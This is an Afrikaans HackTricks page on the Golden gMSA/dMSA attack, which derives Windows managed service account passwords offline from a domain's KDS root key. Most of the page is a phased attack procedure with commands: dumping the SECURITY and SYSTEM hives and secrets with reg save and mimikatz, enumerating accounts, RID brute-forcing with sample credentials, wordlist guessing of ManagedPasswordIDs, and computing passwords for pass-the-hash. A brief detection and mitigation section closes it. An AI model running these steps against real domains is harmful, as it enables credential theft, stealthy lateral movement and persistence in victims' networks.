# Golden gMSA/dMSA Aanval (Offline Afleiding van Gemanagte Diensrekening Wagwoorde) {{#include ../../banners/hacktricks-training.md}} ## Oorsig Windows Gemanagte Diensrekeninge (MSA) is spesiale prinsipes wat ontwerp is om dienste te laat loop sonder die behoefte om hul wagwoorde handmatig te bestuur. Daar is twee hoof variasies: 1. **gMSA** – groep Gemanagte Diensrekening – kan op verskeie gasheer gebruik word wat gemagtig is in sy `msDS-GroupMSAMembership` attribuut. 2. **dMSA** – gedelegeerde Gemanagte Diensrekening – die (voorskou) opvolger van gMSA, wat op dieselfde kriptografie staatmaak maar meer granular gedelegeerde scenario's toelaat. Vir beide variasies is die **wagwoord nie gestoor** op elke Domeinbeheerder (DC) soos 'n gewone NT-hash nie. In plaas daarvan kan elke DC die huidige wagwoord **aflei** ter plaatse van: * Die woud-wye **KDS Wortelsleutel** (`KRBTGT\KDS`) – ewekansig gegenereerde GUID-genaamde geheim, wat na elke DC gerepliceer word onder die `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` houer. * Die teikenrekening **SID**. * 'n per-rekening **ManagedPasswordID** (GUID) wat in die `msDS-ManagedPasswordId` attribuut gevind word. Die afleiding is: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 byte blob wat uiteindelik **base64-gecodeer** en in die `msDS-ManagedPassword` attribuut gestoor word. Geen Kerberos-verkeer of domeininteraksie is nodig tydens normale wagwoordgebruik nie – 'n lidgasheer lei die wagwoord plaaslik af solank dit die drie insette ken. ## Golden gMSA / Golden dMSA Aanval As 'n aanvaller al drie insette **aflyn** kan verkry, kan hulle **geldige huidige en toekomstige wagwoorde** vir **enige gMSA/dMSA in die woud** bereken sonder om die DC weer aan te raak, wat die volgende omseil: * LDAP lees ouditering * Wagwoord verandering intervalle (hulle kan vooraf bereken) Dit is analoog aan 'n *Golden Ticket* vir diensrekeninge. ### Voorvereistes 1. **Woud-vlak kompromie** van **een DC** (of Enterprise Admin), of `SYSTEM` toegang tot een van die DC's in die woud. 2. Vermoë om diensrekeninge te lys (LDAP lees / RID brute-force). 3. .NET ≥ 4.7.2 x64 werkstasie om [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) of ekwivalente kode te loop. ### Golden gMSA / dMSA ##### Fase 1 – Trek die KDS Wortelsleutel uit Dump van enige DC (Volume Shadow Copy / rou SAM+SECURITY hives of afstandsgeheime): ```cmd reg save HKLM\SECURITY security.hive reg save HKLM\SYSTEM system.hive # With mimikatz on the DC / offline mimikatz # lsadump::secrets mimikatz # lsadump::trust /patch # shows KDS root keys too # With GoldendMSA GoldendMSA.exe kds --domain # query KDS root keys from a DC in the forest GoldendMSA.exe kds # With GoldenGMSA GoldenGMSA.exe kdsinfo ``` Die base64-string gemerk `RootKey` (GUID naam) is benodig in latere stappe. ##### Fase 2 – Enumereer gMSA / dMSA objekten Herwin ten minste `sAMAccountName`, `objectSid` en `msDS-ManagedPasswordId`: ```powershell # Authenticated or anonymous depending on ACLs Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \ Select sAMAccountName,objectSid,msDS-ManagedPasswordId GoldenGMSA.exe gmsainfo ``` [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) implementeer helper-modusse: ```powershell # LDAP enumeration (kerberos / simple bind) GoldendMSA.exe info -d example.local -m ldap # RID brute force if anonymous binds are blocked GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` ##### Fase 3 – Raai / Ontdek die ManagedPasswordID (wanneer dit ontbreek) Sommige implementasies *verwyder* `msDS-ManagedPasswordId` van ACL-beskermde lees. Omdat die GUID 128-bis is, is naïewe bruteforce onmoontlik, maar: 1. Die eerste **32 bits = Unix epocht tyd** van die rekening se skepping (minute resolusie). 2. Gevolg deur 96 ewekansige bits. Daarom is 'n **smal woordlys per rekening** (± paar uur) realisties. ```powershell GoldendMSA.exe wordlist -s -d example.local -f example.local -k ``` Die hulpmiddel bereken kandidaat wagwoorde en vergelyk hul base64 blob teen die werklike `msDS-ManagedPassword` attribuut – die ooreenkoms onthul die korrekte GUID. ##### Fase 4 – Aflyn Wagwoord Berekening & Omskakeling Sodra die ManagedPasswordID bekend is, is die geldige wagwoord een opdrag weg: ```powershell # derive base64 password GoldendMSA.exe compute -s -k -d example.local -m -i GoldenGMSA.exe compute --sid --kdskey --pwdid ``` Die resulterende hashes kan ingespuit word met **mimikatz** (`sekurlsa::pth`) of **Rubeus** vir Kerberos misbruik, wat stealth **laterale beweging** en **volharding** moontlik maak. ## Opsporing & Versagting * Beperk **DC rugsteun en registrasie heuning lees** vermoëns tot Tier-0 administrateurs. * Monitor **Directory Services Restore Mode (DSRM)** of **Volume Shadow Copy** skepping op DC's. * Ouudit lees / veranderinge aan `CN=Master Root Keys,…` en `userAccountControl` vlae van diens rekeninge. * Ontdek ongewone **base64 wagwoord skrywe** of skielike diens wagwoord hergebruik oor gasheer. * Oorweeg om hoë-privilege gMSA's na **klassieke diens rekeninge** te omskep met gereelde ewekansige rotasies waar Tier-0 isolasie nie moontlik is nie. ## Gereedskap * [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – verwysingsimplementering gebruik in hierdie bladsy. * [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – verwysingsimplementering gebruik in hierdie bladsy. * [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`. * [`Rubeus`](https://github.com/GhostPack/Rubeus) – pass-the-ticket met afgeleide AES sleutels. ## Verwysings - [Golden dMSA – outentikasie omseiling vir gedelegeerde Beheerde Diens Rekeninge](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) - [gMSA Aktiewe Gids Aanval Rekeninge](https://www.semperis.com/blog/golden-gmsa-attack/) - [Semperis/GoldenDMSA GitHub-bewaarplek](https://github.com/Semperis/GoldenDMSA) - [Improsec – Golden gMSA vertrou aanval](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) {{#include ../../banners/hacktricks-training.md}}